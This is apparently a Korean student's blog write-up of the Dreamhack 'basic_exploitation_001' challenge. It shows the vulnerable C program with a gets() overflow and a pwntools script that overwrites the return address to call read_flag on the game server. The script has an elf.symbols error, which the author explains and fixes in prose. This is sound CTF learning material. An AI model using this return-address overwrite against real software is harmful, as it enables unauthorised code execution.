촉촉한초코칩
[Dreamhack] basic_exploitation_001 본문
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
취약점
main 함수에 있는 gets 함수는 길이체크를 하지 않기 때문에 80보다 큰 길이의 값이 들어올 수 있다.
flag는 read_flag() 함수에 들어가야 알 수 있으므로 read_flag의 주소를 먼저 알아야 할 것 같다.
익스플로잇
함수 주소를 알아냈으므로 payload를 작성해서 함수가 실행되도록 한다.
from pwn import *
p = remote("host3.dreamhack.games", 20551)
elf = ELF('./basic_exploitation_001')
#함수 주소 : 0x80485b9
read_flag = elf.symbols['0x080485b9']
payload = b'A'*0x80 #buf 크기만큼 데이터 채우기
payload += b'B'*0x4 #SFP 크기만큼 데이터 채우기
payload += p32(read_flag) #return address overflow
p.sendline(payload)
p.interactive()
그런데 자꾸 7번째 줄에서 에러가 나서 elf.symbols에 대해 알아보니, 입력한 함수의 함수 베이스 주소와의 offset을 가져온다고한다.
즉, 함수 주소를 쓰는게 아니라 함수명을 써서 read_flag에 주소를 넣는 것... 주소를 함수명으로 바꿔서 실행했더니 flag가 떴다.
에러 때문에 검색한 거 빼면 처음으로 혼자 푼 문제인데...
앞으로 공부 열심히 해야겠다
'Study > System' 카테고리의 다른 글
[Dreamhack] shell_basic (**다시 해보기...) (0) | 2024.05.13 |
---|---|
(**) BombLab 4 (0) | 2024.05.09 |
[Dreamhack] basic_exploitation_000 (0) | 2024.03.31 |
[Dreamhack] Return Address Overwrite (1) | 2024.03.31 |
Bomb Lab Phase 1-3 (0) | 2024.03.24 |